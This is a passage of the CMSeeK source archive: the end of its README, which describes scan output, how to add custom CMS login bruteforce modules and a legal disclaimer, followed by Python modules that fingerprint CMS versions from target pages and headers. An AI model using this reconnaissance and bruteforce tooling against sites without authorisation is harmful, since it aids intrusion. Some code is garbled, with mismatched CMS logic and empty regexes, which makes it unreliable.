'deeps':'Deep Scan (0 for no 1 for yes)' } ``` ## Scan Result: All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well. Here is an example of the json report log: ![Json Log](https://i.imgur.com/5dA9jQg.png) ## Bruteforce Modules: CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this: 1. Add a comment exactly like this `# Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex 2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module 3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory 4. Open CMSeeK and Rebuild Cache using `R` as the input in the first menu. 5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK.

Cache Rebuild Screenshot

## Need More Reasons To Use CMSeeK? If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages. Also you can try reading comments in the code those are pretty random and weird!!! ## Screenshots:

Main Menu
Main Menu
Scan Result
Scan Result
WordPress Scan Result
WordPress Scan Result

## Guidelines for opening an issue: Please make sure you have the following info attached when opening a new issue: - Target - Exact copy of error or screenshot of error - Your operating system and python version **Issues without these informations might not be answered!** ## Disclaimer: **Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.** ## License: CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE) ## Follow Me @r3dhax0r: [Twitter](https://twitter.com/r3dhax0r) CMSeeK-v.1.1.3/VersionDetect/000077500000000000000000000000001370665123600156165ustar00rootroot00000000000000CMSeeK-v.1.1.3/VersionDetect/__init__.py000066400000000000000000000000001370665123600177150ustar00rootroot00000000000000CMSeeK-v.1.1.3/VersionDetect/abda.py000066400000000000000000000013171370665123600170610ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Al Mubda version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): cmseek.statement("Detecting Al Mubda version using source code [Method 1 of 1]") regex = re.findall(r'Powered by Al Mubda version (\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('Al Mubda version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/aef.py000066400000000000000000000011431370665123600167220ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # AEF version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'Powered By AEF (\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('AEF version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/amiro.py000066400000000000000000000012761370665123600173050ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Amiro.CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): cmseek.statement('Detecting Amiro.CMS version using page source [Method 1 of 1]') regex = re.findall(r'_cv=(.*?)("|&|\')', source)[0] if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('Amiro.CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0'CMSeeK-v.1.1.3/VersionDetect/aspf.py000066400000000000000000000011601370665123600171170ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # AspNetForum version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'AspNetForum v.(\d.*?)Burning Board® (.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('Burning Board version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/bhf.py000066400000000000000000000011151370665123600167250ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Beehive Forum version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'Beehive Forum (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Beehive Forum version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/brcms.py000066400000000000000000000011501370665123600172730ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # BrowserCMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'browsercms (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('BrowserCMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/cnido.py000066400000000000000000000011551370665123600172660ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # CMS Contenido version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'contenido (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('CMS Contenido version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/cntsis.py000066400000000000000000000011251370665123600174720ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Contensis CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'Contensis CMS Version (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Contensis CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/coms.py000066400000000000000000000015361370665123600171360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Commerce Server version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): cmseek.statement('Detecting Commerce Server using headers [Method 1 of 1]') kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'commerce-server-software:' in tail.lower(): regex = re.findall(r'commerce-server-software: (.*)', tail, re.IGNORECASE) if regex != [] and regex[0] != "": cmseek.success('Commerce Server version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/con5.py000066400000000000000000000011131370665123600170300ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Concrete5 CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'concrete5 - (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Concrete5 CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/csim.py000066400000000000000000000020651370665123600171260ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # CMSimple version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() if 'cmsimple_' in ga_content: regex = re.search(r'cmsimple_(.*?) (.*?) ', ga_content) if regex != []: try: version = regex.group(2) cmseek.success('CMSimple version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('Version detection failed!') return '0' else: regex = re.findall(r'cmsimple (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('CMSimple version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/detect.py000066400000000000000000000236061370665123600174470ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra def start(id, url, ua, ga, source, ga_content, headers): if id == "wp": # trust me more will be added soon import VersionDetect.wp as wpverdetect wpver = wpverdetect.start(id, url, ua, ga, source) return wpver elif id == 'joom': import VersionDetect.joom as joomverdetect joomver = joomverdetect.start(id, url, ua, ga, source) return joomver elif id == 'dru': import VersionDetect.dru as druverdetect druver = druverdetect.start(id, url, ua, ga, source) return druver elif id == 'xe': import VersionDetect.xe as xeverdetect xever = xeverdetect.start(ga_content) return xever elif id == 'wgui': import VersionDetect.wgui as wguiverdetect wguiver = wguiverdetect.start(ga_content) return wguiver elif id == 'umi': import VersionDetect.umi as umiverdetect umiver = umiverdetect.start(url, ua) return umiver elif id == 'tidw': import VersionDetect.tidw as tidwverdetect tidwver = tidwverdetect.start(source) return tidwver elif id == 'sulu': import VersionDetect.sulu as suluverdetect suluver = suluverdetect.start(url, ua) return suluver elif id == 'subcms': import VersionDetect.subcms as subcmsverdetect subcmsver = subcmsverdetect.start(ga_content) return subcmsver elif id == 'snews': import VersionDetect.snews as snewsverdetect snewsver = snewsverdetect.start(ga_content, source) return snewsver elif id == 'spity': import VersionDetect.spity as spityverdetect spityver = spityverdetect.start(ga_content) return spityver elif id == 'slcms': import VersionDetect.slcms as slcmsverdetect slcmsver = slcmsverdetect.start(source) return slcmsver elif id == 'rock': import VersionDetect.rock as rockverdetect rockver = rockverdetect.start(ga_content) return rockver elif id == 'roadz': import VersionDetect.roadz as roadzverdetect roadzver = roadzverdetect.start(ga_content) return roadzver elif id == 'rite': import VersionDetect.rite as riteverdetect ritever = riteverdetect.start(ga_content) return ritever elif id == 'quick': import VersionDetect.quick as quickverdetect quickver = quickverdetect.start(ga_content) return quickver elif id == 'pwind': import VersionDetect.pwind as pwindverdetect pwindver = pwindverdetect.start(ga_content) return pwindver elif id == 'ophal': import VersionDetect.ophal as ophalverdetect ophalver = ophalverdetect.start(ga_content, url, ua) return ophalver elif id == 'sfy': import VersionDetect.sfy as sfyverdetect sfyver = sfyverdetect.start(ga_content) return sfyver elif id == 'otwsm': import VersionDetect.otwsm as otwsmverdetect otwsmver = otwsmverdetect.start(source) return otwsmver elif id == 'ocms': import VersionDetect.ocms as ocmsverdetect ocmsver = ocmsverdetect.start(url, ua) return ocmsver elif id == 'share': import VersionDetect.share as shareverdetect sharever = shareverdetect.start(url, ua) return sharever elif id == 'mura': import VersionDetect.mura as muraverdetect muraver = muraverdetect.start(ga_content) return muraver elif id == 'kbcms': import VersionDetect.kbcms as kbcmsverdetect kbcmsver = kbcmsverdetect.start(url, ua) return kbcmsver elif id == 'koken': import VersionDetect.koken as kokenverdetect kokenver = kokenverdetect.start(ga_content) return kokenver elif id == 'impage': import VersionDetect.impage as impageverdetect impagever = impageverdetect.start(ga_content) return impagever elif id == 'flex': import VersionDetect.flex as flexverdetect flexver = flexverdetect.start(source, url, ua) return flexver elif id == 'dncms': import VersionDetect.dncms as dncmsverdetect dncmsver = dncmsverdetect.start(url, ua) return dncmsver elif id == 'cntsis': import VersionDetect.cntsis as cntsisverdetect cntsisver = cntsisverdetect.start(ga_content) return cntsisver elif id == 'cnido': import VersionDetect.cnido as cnidoverdetect cnidover = cnidoverdetect.start(ga_content) return cnidover elif id == 'con5': import VersionDetect.con5 as con5verdetect con5ver = con5verdetect.start(ga_content) return con5ver elif id == 'csim': import VersionDetect.csim as csimverdetect csimver = csimverdetect.start(ga_content) return csimver elif id == 'brcms': import VersionDetect.brcms as brcmsverdetect brcmsver = brcmsverdetect.start(ga_content) return brcmsver elif id == 'bboard': import VersionDetect.bboard as bboardverdetect bboardver = bboardverdetect.start(source) return bboardver elif id == 'dscrs': import VersionDetect.dscrs as dscrsverdetect dscrsver = dscrsverdetect.start(ga_content) return dscrsver elif id == 'discuz': import VersionDetect.discuz as discuzverdetect discuzver = discuzverdetect.start(ga_content) return discuzver elif id == 'minibb': import VersionDetect.minibb as minibbverdetect minibbver = minibbverdetect.start(source) return minibbver elif id == 'mybb': import VersionDetect.mybb as mybbverdetect mybbver = mybbverdetect.start(source) return mybbver elif id == 'nodebb': import VersionDetect.nodebb as nodebbverdetect nodebbver = nodebbverdetect.start(source) return nodebbver elif id == 'punbb': import VersionDetect.punbb as punbbverdetect punbbver = punbbverdetect.start(source) return punbbver elif id == 'smf': import VersionDetect.smf as smfverdetect smfver = smfverdetect.start(source) return smfver elif id == 'vanilla': import VersionDetect.vanilla as vanillaverdetect vanillaver = vanillaverdetect.start(url, ua) return vanillaver elif id == 'uknva': import VersionDetect.uknva as uknvaverdetect uknvaver = uknvaverdetect.start(ga_content) return uknvaver elif id == 'xmb': import VersionDetect.xmb as xmbverdetect xmbver = xmbverdetect.start(source) return xmbver elif id == 'yabb': import VersionDetect.yabb as yabbverdetect yabbver = yabbverdetect.start(source) return yabbver elif id == 'aef': import VersionDetect.aef as aefverdetect aefver = aefverdetect.start(source) return aefver elif id == 'bhf': import VersionDetect.bhf as bhfverdetect bhfver = bhfverdetect.start(ga_content) return bhfver elif id == 'fudf': import VersionDetect.fudf as fudfverdetect fudfver = fudfverdetect.start(source) return fudfver elif id == 'yaf': import VersionDetect.yaf as yafverdetect yafver = yafverdetect.start(source) return yafver elif id == 'ubbt': import VersionDetect.ubbt as ubbtverdetect ubbtver = ubbtverdetect.start(source, ga_content) return ubbtver elif id == 'myupb': import VersionDetect.myupb as myupbverdetect myupbver = myupbverdetect.start(source) return myupbver elif id == 'mvnf': import VersionDetect.mvnf as mvnfverdetect mvnfver = mvnfverdetect.start(source) return mvnfver elif id == 'mcb': import VersionDetect.mcb as mcbverdetect mcbver = mcbverdetect.start(source) return mcbver elif id == 'aspf': import VersionDetect.aspf as aspfverdetect aspfver = aspfverdetect.start(source) return aspfver elif id == 'jf': import VersionDetect.jf as jfverdetect jfver = jfverdetect.start(source) return jfver elif id == 'mg': import VersionDetect.mg as mgverdetect mgver = mgverdetect.start(url, ua) return mgver elif id == 'coms': import VersionDetect.coms as comsverdetect comsver = comsverdetect.start(url, ua) return comsver elif id == 'abda': import VersionDetect.abda as abdaverdetect abdaver = abdaverdetect.start(source) return abdaver elif id == 'dweb': import VersionDetect.dweb as dwebverdetect dwebver = dwebverdetect.start(ga_content) return dwebver elif id == 'qcart': import VersionDetect.qcart as qcartverdetect qcartver = qcartverdetect.start(ga_content) return qcartver elif id == 'rbsc': import VersionDetect.rbsc as rbscverdetect rbscver = rbscverdetect.start(ga_content) return rbscver elif id == 'oracle_atg': import VersionDetect.atg as atgverdetect atgver = atgverdetect.start(headers) return atgver elif id == 'umbraco': import VersionDetect.umbraco as umbracoverdetect umbracover = umbracoverdetect.start(headers, url, ua) return umbracover elif id == 'shopfa': import VersionDetect.shopfa as shopfaverdetect shopfaver = shopfaverdetect.start(ga_content, headers) return shopfaver elif id == 'amiro': import VersionDetect.amiro as amiroverdetect amirover = amiroverdetect.start(source) return amirover elif id == 'godaddywb': import VersionDetect.godaddywb as godaddywbverdetect godaddywb_version = godaddywbverdetect.start(ga_content) return godaddywb_version CMSeeK-v.1.1.3/VersionDetect/discuz.py000066400000000000000000000011371370665123600174730ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Discuz! version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'discuz! (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Discuz! version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/dncms.py000066400000000000000000000013301370665123600172710ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Danneo CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'X-Powered-By: CMS Danneo' in tail: regex = re.findall(r'X-Powered-By: CMS Danneo (.*)', tail) if regex != []: cmseek.success('Danneo CMS version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/dru.py000066400000000000000000000030641370665123600167650ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Drupal version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(id, url, ua, ga, source): if ga == '1': # well for now we only have one way of detecting the version - Not any more! cmseek.statement('Detecting version using generator meta tag [Method 1 of 2]') regex = re.findall(r'', source, re.DOTALL) if regex != []: for r in regex: if 'FlexCMP' in r and 'v.' in r: tmp = r.split('\n') for t in tmp: if 'v.' in t: kek = re.findall(r'v. (.*?) -', t) if kek != []: # coding this was actually fun idk why ;--; version = kek[0] cmseek.success('FlexCMP version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected from source') return version else: kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'X-Powered-By' in tail and 'FlexCMP' in tail: regex = re.findall(r'X-Powered-By: FlexCMP Application Server \[v\. (.*?) - ', tail) if regex != []: cmseek.success('FlexCMP version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected from header') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/fudf.py000066400000000000000000000011611370665123600171130ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # FUDforum version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'Powered by: FUDforum (\d.*?).<', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('FUDforum version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/godaddywb.py000066400000000000000000000013271370665123600201370ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # GoDaddy Website Builder version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): cmseek.statement('Detecting GoDaddy Website Builder version using generator meta tag [Method 1 of 1]') regex = re.findall(r'Go Daddy Website Builder (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('GoDaddy Website Builder version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/impage.py000066400000000000000000000011751370665123600174360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # ImpressPages CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'impresspages cms (.*?) under', ga_content) if regex != []: version = regex[0] cmseek.success('ImpressPages version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/jf.py000066400000000000000000000013011370665123600165620ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # JForum version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.search(r'Powered by(.*?)JForum (\d.*?)', source) if regex != None: try: version = regex.group(2) cmseek.success('JForum version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('Version detection failed!') return '0' cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/joom.py000066400000000000000000000127001370665123600171340ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra ## Joomla version detection ## Rev 1 import cmseekdb.basic as cmseek import re def start(id, url, ua, ga, source): version = '0' cmseek.info('detecting joomla version') # version detection stats here if ga == '1': # Detect version via generator meta tag cmseek.statement('Detecting version using generator meta tag [Method 1 of 4]') regex_1 = re.findall(r'content=(?:\"|\')Joomla! (.*?) - Open Source Content Management(?:\"|\')', source) if regex_1 != []: cmseek.success('Joomla version detected, version: ' + cmseek.bold + regex_1[0] + cmseek.cln) return regex_1[0] if version == '0': # Detections using the xml files xml_files = ['administrator/manifests/files/joomla.xml','language/en-GB/en-GB.xml','administrator/components/com_content/content.xml','administrator/components/com_plugins/plugins.xml','administrator/components/com_media/media.xml','mambots/content/moscode.xml'] cmseek.statement('Detecting version using xml files [Method 2 of 4]') for xml_file in xml_files: xml_source = cmseek.getsource(url + '/' + xml_file, ua) if xml_source[0] == '1': regex_2 = re.findall(r'(.*?)', xml_source[1]) if regex_2 != []: cmseek.success('Joomla version detected, version: ' + cmseek.bold + regex_2[0] + cmseek.cln) return regex_2[0] # Detection method 3 if version == '0': other_files = ['language/en-GB/en-GB.xml','templates/system/css/system.css','media/system/js/mootools-more.js','language/en-GB/en-GB.ini','htaccess.txt','language/en-GB/en-GB.com_media.ini'] cmseek.statement('Detecting version using advanced fingerprinting [Method 3 of 4]') for file in other_files: file_source = cmseek.getsource(url + '/' + file, ua) if file_source[0] == '1': # Regex find regex_3 = re.findall(r'', file_source[1]) if regex_3 != []: cmseek.success('Joomla version detected, version: ' + cmseek.bold + regex_3[0] + cmseek.cln) return regex_3[0] # Joomla version 1.6 j16 = ['system.css 20196 2011-01-09 02:40:25Z ian','MooTools.More={version:"1.3.0.1"','en-GB.ini 20196 2011-01-09 02:40:25Z ian','en-GB.ini 20990 2011-03-18 16:42:30Z infograf768','20196 2011-01-09 02:40:25Z ian'] for j in j16: rsearch = re.search(j,file_source[1]) if rsearch is not None: cmseek.success('Joomla version detected, version: ' + cmseek.bold + '1.6' + cmseek.cln) return '1.6' # Joomla version 1.5 j15 = ['Joomla! 1.5','MooTools={version:\'1.12\'}','11391 2009-01-04 13:35:50Z ian'] for j in j15: rsearch = re.search(j,file_source[1]) if rsearch is not None: cmseek.success('Joomla version detected, version: ' + cmseek.bold + '1.5' + cmseek.cln) return '1.5' # Joomla version 1.7 j17 = ['system.css 21322 2011-05-11 01:10:29Z dextercowley','MooTools.More={version:"1.3.2.1"','22183 2011-09-30 09:04:32Z infograf768','21660 2011-06-23 13:25:32Z infograf768'] for j in j17: rsearch = re.search(j,file_source[1]) if rsearch is not None: cmseek.success('Joomla version detected, version: ' + cmseek.bold + '1.7' + cmseek.cln) return '1.7' # Joomla version 1.0 j10 = ['(Copyright (C) 2005 - 200(6|7))','47 2005-09-15 02:55:27Z rhuk','423 2005-10-09 18:23:50Z stingrey','1005 2005-11-13 17:33:59Z stingrey','1570 2005-12-29 05:53:33Z eddieajau','2368 2006-02-14 17:40:02Z stingrey','1570 2005-12-29 05:53:33Z eddieajau','4085 2006-06-21 16:03:54Z stingrey','4756 2006-08-25 16:07:11Z stingrey','5973 2006-12-11 01:26:33Z robs','5975 2006-12-11 01:26:33Z robs'] for j in j10: rsearch = re.search(j,file_source[1]) if rsearch is not None: cmseek.success('Joomla version detected, version: ' + cmseek.bold + '1.0' + cmseek.cln) return '1.0' # Joomla version 2.5 j25 = ['Copyright (C) 2005 - 2012 Open Source Matters','MooTools.More={version:"1.4.0.1"'] for j in j25: rsearch = re.search(j,file_source[1]) if rsearch is not None: cmseek.success('Joomla version detected, version: ' + cmseek.bold + '2.5' + cmseek.cln) return '2.5' # Detection using README file if version == '0': cmseek.statement('Detecting version from README file [Method 4 of 4]') readme_file = url + '/README.txt' readme_source = cmseek.getsource(readme_file, ua) if readme_source[0] == '1': regex_4 = re.findall(r'package to version (.*?)', readme_source[1]) if regex_4 != []: cmseek.success('Joomla version detected, version: ' + cmseek.bold + regex_4[0] + cmseek.cln) return regex_4[0] # if we fail ¯\_(ツ)_/¯ return version CMSeeK-v.1.1.3/VersionDetect/kbcms.py000066400000000000000000000013161370665123600172700ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # KoobooCMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): kurama = cmseek.getsource(url, ua) header = kurama[2].split('\n') regex = [] for tail in header: if 'X-KoobooCMS-Version' in tail: regex = re.findall(r'X-KoobooCMS-Version: (.*)', tail) if regex != []: cmseek.success('Kooboo CMS version ' + cmseek.bold + cmseek.fgreen + regex[0] + cmseek.cln + ' detected') return regex[0] else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/koken.py000066400000000000000000000011311370665123600172730ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Koken version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): ga_content = ga_content.lower() regex = re.findall(r'koken (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Koken version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/mcb.py000066400000000000000000000013111370665123600167250ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # MercuryBoard version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.search(r'MercuryBoard(.*?)\[v(\d.*?)\]', source) if regex != None: try: version = regex.group(2) cmseek.success('MercuryBoard version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version except Exception as e: cmseek.error('Version detection failed!') return '0' cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/mg.py000066400000000000000000000016651370665123600166030ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Magento version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(url, ua): # Detect version via magento_version (not very accurate) cmseek.statement('Detecting version using magento_version [Method 1 of 1]') magento_version = url + '/magento_version' changelog_source = cmseek.getsource(magento_version, ua) if changelog_source[0] == '1' and 'Magento' in changelog_source[1]: cl_array = changelog_source[1].split('/') if cl_array != []: cmseek.success('Magento version ' + cmseek.bold + cl_array[1] + cmseek.cln + ' detected') return cl_array[1] cmseek.error('Magento version detection failed!') return '0' else: cmseek.error('Magento version detection failed!') return '0'CMSeeK-v.1.1.3/VersionDetect/minibb.py000066400000000000000000000011421370665123600174260ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # miniBB version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(source): regex = re.findall(r'>miniBB (\d.*?)', source) if regex != []: if regex[0] != '' and regex[0] != ' ': version = regex[0] cmseek.success('miniBB version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version cmseek.error('Version detection failed!') return '0' CMSeeK-v.1.1.3/VersionDetect/mura.py000066400000000000000000000010761370665123600171400ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # Mura CMS version detection # Rev 1 import cmseekdb.basic as cmseek import re def start(ga_content): regex = re.findall(r'Mura CMS (.*)', ga_content) if regex != []: version = regex[0] cmseek.success('Mura CMS version ' + cmseek.bold + cmseek.fgreen + version + cmseek.cln + ' detected') return version else: cmseek.error('Version detection failed!') return '0' 